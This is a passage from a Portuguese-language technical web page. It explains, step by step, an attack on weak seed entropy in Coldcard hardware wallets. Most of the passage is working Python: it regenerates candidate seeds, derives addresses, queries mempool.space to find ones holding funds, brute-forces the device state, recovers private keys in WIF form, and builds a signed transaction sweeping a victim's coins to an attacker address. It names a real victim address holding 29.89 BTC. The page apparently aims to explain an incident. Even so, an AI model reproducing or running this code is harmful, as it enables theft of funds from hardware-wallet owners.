    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. De entropia para endereço Bitcoin<span class="hx:absolute hx:-mt-20" id="3-de-entropia-para-endereço-bitcoin"></span>
    <a href="#3-de-entropia-para-endere%c3%a7o-bitcoin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
</span></span></span><span class="line"><span class="cl"><span class="s2">    primeiros endereços SegWit nativos de recebimento e troco.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Consultar a blockchain como oráculo<span class="hx:absolute hx:-mt-20" id="4-consultar-a-blockchain-como-oráculo"></span>
    <a href="#4-consultar-a-blockchain-como-or%c3%a1culo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True se o endereço tiver qualquer UTXO no mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;erro consultando&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.</p>
<p><strong>Exemplo de não acerto:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante descarta e passa ao próximo candidato.</p>
<p><strong>Exemplo de acerto</strong> (o endereço real da vítima <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, antes do sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando <code>has_utxo</code> devolve <code>True</code>, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.</p>
<h3>5. Enumerar candidatos e caçar<span class="hx:absolute hx:-mt-20" id="5-enumerar-candidatos-e-caçar"></span>
    <a href="#5-enumerar-candidatos-e-ca%c3%a7ar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
</span></span></span><span class="line"><span class="cl"><span class="s2">    os 2^32 valores possíveis do reseed do secure element.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;ACERTOU!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  endereço :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que fazem:</strong> <code>brute_mk3</code> varre estados plausíveis para Mk3; <code>brute_mk4</code> varre os 2^32 reseeds do secure element; <code>hunt</code> é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.</p>
<h2>Depois de achar a colisão<span class="hx:absolute hx:-mt-20" id="depois-de-achar-a-colisão"></span>
    <a href="#depois-de-achar-a-colis%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando <code>hunt</code> retorna, o atacante já tem a <code>mnemonic</code> e o endereço com saldo. Com elas, ele obtém a chave privada:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;WIF comprimido:&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">wif</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Endereço      :&#34;</span><span class="p">,</span> <span class="n">addr_key</span><span class="o">.</span><span class="n">address</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Saída típica:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">WIF comprimido: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Endereço      : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse WIF é a chave privada no formato que qualquer wallet entende. A partir daqui o atacante pode:</p>
<ol>
<li><strong>Importar a seed ou o WIF</strong> no Sparrow, Electrum ou outra wallet.</li>
<li><strong>Rescanar</strong> a blockchain para ver todos os UTXOs daquela seed.</li>
<li><strong>Montar uma transação</strong> mandando os fundos para um endereço que ele controla.</li>
<li><strong>Assinar e transmitir</strong>.</li>
</ol>
<h3>Exemplo concreto de sweep<span class="hx:absolute hx:-mt-20" id="exemplo-concreto-de-sweep"></span>
    <a href="#exemplo-concreto-de-sweep" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No caso real, o atacante varreu o UTXO de 29.89251877 BTC do endereço <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> para o endereço de consolidação. O que ele precisava produzir era uma transação assinada. O esqueleto, com valores didáticos e um input fictício, fica assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># chave recuperada a partir da seed colidida</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># taxa em satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># o que sobra para o atacante</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># txid do UTXO da vítima</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># endereço do atacante</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Uma transação assinada válida tem esse formato (hex truncado):</p>
